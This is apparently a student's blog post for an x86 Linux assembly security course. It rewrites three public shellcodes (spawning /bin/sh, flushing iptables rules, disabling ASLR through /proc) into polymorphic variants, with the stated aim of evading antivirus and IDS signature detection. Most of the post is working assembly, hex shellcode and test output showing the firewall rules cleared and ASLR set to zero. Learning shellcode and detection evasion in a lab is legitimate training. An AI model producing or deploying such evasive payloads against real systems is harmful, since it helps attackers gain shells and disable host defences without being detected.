As a sixth assignment of the 32-bit Securitytube Linux Assembly Expert, I had to create three different polymorphic version of shellcodes taken from ShellStorm.

Here is my selection:

  1. Linux x86 execve("/bin/sh") - 28 bytes.
  2. Linux x86 iptables flush - 43 bytes.
  3. Linux x86 ASLR deactivation - 83 bytes.

Polymorphism means that we can mutate shellcode, so while keeping the same functionality the signature is different. The purpose of this method, is to evade AV and IDS detection, which in turn, is based on fingerprints. IDS and AV rely heavily on databases that map shellcodes to fingerprints (hashes).

How is this accomplished? We can try the following:

  • Use different or uncommon registers
  • Group repeating instructions in a single method.
  • Insert junk data or junk instructions into the shellcode
  • Use different instructions to achieve the same goal.
  • Use uncommon instruction sets, like AAM, MMX, SSE, etc.
  • Change instructions order.
  • Modify strings and values through mathematical functions (e.g. sum/sub hex string values)

Let’s generate the assembly with this command:

echo -ne "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\x0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" | ndisasm -u -
00000000  31C0              xor eax,eax
00000002  50                push eax
00000003  682F2F7368        push dword 0x68732f2f
00000008  682F62696E        push dword 0x6e69622f
0000000D  89E3              mov ebx,esp
0000000F  89C1              mov ecx,eax
00000011  89C2              mov edx,eax
00000013  000B              add [ebx],cl
00000015  CD80              int 0x80
00000017  31C0              xor eax,eax
00000019  40                inc eax
0000001A  CD80              int 0x80

We can play with line 3 and 4 and add/subtract values from those strings. Then bush the value 11 (0xb) on the stack instead of moving it from EBX. Finally, to gracefully exit, we push 0x1 on the stack and load it in EDI and swap it with EAX.

xor edx, edx          ; clear/push edx instead of eax
push edx              
mov esi, 0x7a50e940   ;result is 0x68732f2f
sub esi, 0x11ddba11
push esi
mov ebx, 0x5C354FFB   ;result is 0x6e69622f
add ebx, 0x12341234
push ebx
push byte 0xb         ;value 11 (execve) pushed on the stack
pop eax
mov ecx, edx
mov ebx, esp
push byte 0x1         ;another way to run exit syscall
pop edi
int 0x80
xchg edi, eax
int 0x80

The original code is 28 bytes and the resulting polymorphing shellcode is 42 bytes long.

This shellcode is responsible to flush any installed iptables rule. First, let’s try the original one, by creating a new firewall rule and flush it.

# iptables -I INPUT 1 -s -j DROP
# iptables -L -n -v
Chain INPUT (policy ACCEPT 7 packets, 488 bytes)
 pkts bytes target     prot opt in     out     source               destination
    0     0 DROP       all  --  *      *

Great. Now we can test the original shellcode and make sure is doing what is supposed to do. Here is the code:

global _start

section .text

	xor eax,eax            ; clear eax
	push eax               ; push it as a space char
	push word 0x462d       ; push '-F' as flush option
	mov esi, esp           ; store stack address into esi
	push eax               ; push null byte
	push dword 0x73656c62  ; push the string '///sbin/iptables'
	push dword 0x61747069  
	push dword 0x2f6e6962
	push dword 0x732f2f2f
	mov ebx, esp           ; store it into ebx
	push eax               ; create data structure of zero
	push esi               ; plus  '-F'
	push ebx               ; plus  ‘///sbin/iptables
	mov ecx, esp           ; and save it in ecx
	mov edx, eax           ; save zero into edx
	mov al, 11             ; call 'execve'
	int 0x80

As a general approach to create polymorphic code, I suggest to perform one change at a time, to avoid mistakes and track the progress. Now that we know what the code is doing, we can be creative and begin to think about ways of manipulating it. Like:

  • Replace any pushed string with a MOV instruction and a mathematical operation (ADD,SUB,ROL,ROR…)
  • Use different registers

In this very case, I have used different registers, in addition to NOT and ROL/ROR operations on the strings.

Here is the commented shellcode:

global _start

section .text

	xor eax,eax    	    ;no chanches so far
	push eax
	push word 0x462d
	mov edi, esp        ;use different register than esi
	push eax
	mov ecx, 0x3656c627 ;shift leftmost value to the right
	ror ecx, 4
	push ecx
	mov edx, 0x96174706 ;shift rightmost value to the left
	rol edx, 4
	push edx
	mov ecx, 0xD091969D ;NOT the string
	not ecx
	push ecx
	mov edx, 0x8CD0D0D0 ;same as above
	not edx
	push edx
	mov ecx, esp
	push eax
	push edi
	push ecx
	mov ecx, esp        ;outro is unchanged
	mov edx, eax
	or al, 11
	int 0x80

After compiling it, we can proceed with testing:

# ./shellcode
# iptables -L -n -v
Chain INPUT (policy ACCEPT 7 packets, 488 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
 pkts bytes target     prot opt in     out     source               destination

Chain OUTPUT (policy ACCEPT 4 packets, 456 bytes)
 pkts bytes target     prot opt in     out     source               destination

And we can verify that it has correctly deleted the previously created ip tables rule. The original code is 43 bytes and the resulting polymorphing shellcode is 57 bytes long.

This and third and last shellcode example purpose, is to disable ASLR. First, we how can we verify if ASLR is enabled?

By checking the value of this file in Linux Kernel:

# cat /proc/sys/kernel/randomize_va_space

From this website we also learn the different meanings of that value, which are:

  • 0 – No randomization. Everything is static.
  • 1 – Conservative randomization. Shared libraries, stack, mmap(), VDSO and heap are randomized.
  • 2 – Full randomization. In addition to elements listed in the previous point, memory managed through brk() is also randomized.

So, we now that we have the correct default value, let’s try out the original shellcode.

# echo -ne "\x31\xc0\x50\x68\x70\x61\x63\x65\x68\x76\x61\x5f\x73\x68\x69\x7a\x65\x5f\x68\x6e\x64\x6f\x6d\x68\x6c\x2f\x72\x61\x68\x65\x72\x6e\x65\x68\x79\x73\x2f\x6b\x68\x6f\x63\x2f\x73\x68\x2f\x2f\x70\x72\x89\xe3\x66\xb9\xbc\x02\xb0\x08\xcd\x80\x89\xc3\x50\x66\xba\x30\x3a\x66\x52\x89\xe1\x31\xd2\x42\xb0\x04\xcd\x80\xb0\x06\xcd\x80\x40\xcd\x80" | ndisasm -u -
00000000  31C0              xor eax,eax
00000002  50                push eax
00000003  6870616365        push dword 0x65636170
00000008  6876615F73        push dword 0x735f6176
0000000D  68697A655F        push dword 0x5f657a69
00000012  686E646F6D        push dword 0x6d6f646e
00000017  686C2F7261        push dword 0x61722f6c
0000001C  6865726E65        push dword 0x656e7265
00000021  6879732F6B        push dword 0x6b2f7379
00000026  686F632F73        push dword 0x732f636f
0000002B  682F2F7072        push dword 0x72702f2f
00000030  89E3              mov ebx,esp
00000032  66B9BC02          mov cx,0x2bc
00000036  B008              mov al,0x8
00000038  CD80              int 0x80
0000003A  89C3              mov ebx,eax
0000003C  50                push eax
0000003D  66BA303A          mov dx,0x3a30
00000041  6652              push dx
00000043  89E1              mov ecx,esp
00000045  31D2              xor edx,edx
00000047  42                inc edx
00000048  B004              mov al,0x4
0000004A  CD80              int 0x80
0000004C  B006              mov al,0x6
0000004E  CD80              int 0x80
00000050  40                inc eax
00000051  CD80              int 0x80

After compiling and running it, we discover that now ASLR has been disabled, with value set to zero:

#nasm -f elf -o aslr.o aslr.nasm
# ld -melf_i386 -z execstack -o aslr aslr.o
# ./aslr
# cat /proc/sys/kernel/randomize_va_space

The string pushed on the stack is nothing more than the same command we have been using so far:

a = "65636170735f61765f657a696d6f646e61722f6c656e72656b2f7379732f636f72702f2f".decode("hex")
>>> print a[::-1]

Then syscall 0x8 ‘sys_creat’ is invoked and used to open the file (this syscall is more or less equivalent to sys_open)

Here the resulting polymorphing shellcode, with comments:

xor eax,eax
push eax
mov ecx, 0x06563617		; modified '0x65636170' with rol
rol ecx, 4
push ecx
mov ecx, 0x35f61767		; modified '0x735f6176' with ror
ror ecx, 4
push ecx
push dword 0x5f657a69		; unaltered
push dword 0x6d6f646e		; unaltered
mov ecx, 0x9E8DD093		; NOTted '0x61722f6c'
not ecx
push ecx
mov ecx, 0x9A918D9A		; NOTted '0x656e7265'
not ecx
push ecx
mov ecx, 0x94D08C86		; NOTted '0x6b2f7379'
not ecx
push ecx
mov ecx, 0xf732f636		; modified '0x732f636f' with rol
rol ecx, 4
push ecx
mov ecx, 0x2702f2f7		; modified '0x72702f2f' with ror
ror ecx, 4
push ecx
mov ebx,esp
mov cx,0x2bc
mov al,0x8
int 0x80
mov ebx,eax		        ; equivalent and smaller than 'mov eax, ebx'
push eax
mov dx,0x3a30
push dx
mov ecx,esp
xor edx,edx
inc edx
mov al,0x4		         ; write syscall
int 0x80
push byte 6		         ; 'close' syscall from the stack
pop eax                
int 0x80
mov al,0x1		         ; 'exit' syscall via direct access
int 0x80    

The original code is 83 bytes and the resulting polymorphing shellcode is 110 bytes long.